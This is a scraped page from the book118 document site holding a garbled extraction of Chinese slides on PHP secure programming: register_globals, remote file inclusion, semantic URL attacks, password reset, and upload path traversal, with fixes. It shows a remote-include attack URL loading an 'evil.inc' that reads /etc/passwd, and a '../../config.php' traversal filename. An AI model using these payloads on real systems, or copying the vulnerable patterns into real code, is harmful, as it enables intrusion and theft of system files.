- 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
- 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
PHP安全编程 register_globals 一把杀人不见血的刀 使用未初始化的变量几乎就意味着安全漏洞 背景 很久很久以前,PHP程序员通过“register globals”(全局变量注册)机制读取用户提供的数据。在这种情形下,所有提交给一个脚本的参数都以一个与参数同名的变量的形式出现。例如,URL script.php?foo=bar 会创建一个值为bar的变量$foo。 ?php echo $foo; ? 输出: bar 如何继续我们刀头舐血的生涯? 必须要初始化所有变量并且把error_reporting 设为 E_ALL(或 E_ALL | E_STRICT)以对未初始化变量进行警告。当register_globals开启时,任何使用未初始化变量的行为几乎就意味着安全漏洞。 常量解决方案 远程包含漏洞 ?php include {$_GET[path]}/header.inc; ? 在这种情形下攻击者能操纵不只是文件名,还能控制所包含的资源。由于PHP默认不只可以包含文件,还可以包含下面的资源(由配置文件中的allow_url_fopen所控制): ?php include /; ? 远程包含漏洞 /index.php?path=/evil.inc? ?php echo file_get_contents(‘/etc/passwd’); ? Evil.inc内容: 语义URL攻击 一个会员中心信息修改页 /useredit.php?user=alex ?php //用户登录验证 /* 根据用户名取出对应用户信息并显示修改表单 */ ? 一个更隐蔽的例子:取回密码 form action=reset.php method=“POST input type=hidden name=user value=chris / pPlease specify the email address where you want your new password sent:/p input type=text name=email /br / input type=submit value=Send Password / /form 解决之道:Session ?php session_start(); $clean = array(); $email_pattern = /^[^@\s]+@([-a-z0-9]+\.)+[a-z]{2,}$/i; if (preg_match($email_pattern, $_POST[email])) { $clean[email] = $_POST[email]; $user = $_SESSION[user]; $new_password = md5(uniqid(rand(), TRUE)); if ($_SESSION[verified]) { /* Update Password */ mail($clean[email], Your New Password, $new_password); } } ? 文件上传攻击 $_FILES[‘file’] = Array ( [name] = a.php // original file name [type] = plain/text // mime type [tmp_name] = /tmp/phpoud3hu // temporary storage location [error] = 0 // error code [size] = 12933 // uploaded file size ) 文件名输入漏洞 # assuming $_FILES[‘file’][‘name’] = “../../config.php”; move_uploaded_file($_FILES[‘file’][‘tmp_name’], “/home/www/app/dir/” . $_FILES[‘file’][‘name’]); 产生原因: 某些浏览器允许形如../../config.php的文件名提交,或者您可以直接构造该文件名进行提交 同时,PHP4.3.10以下存在一个严重漏洞:对文件名中的\不作过滤 解决之道 # assuming $_FILES[‘file’][‘name’] = “../../config.php”; move_uploaded_file($_F
原创力文档


文档评论(0)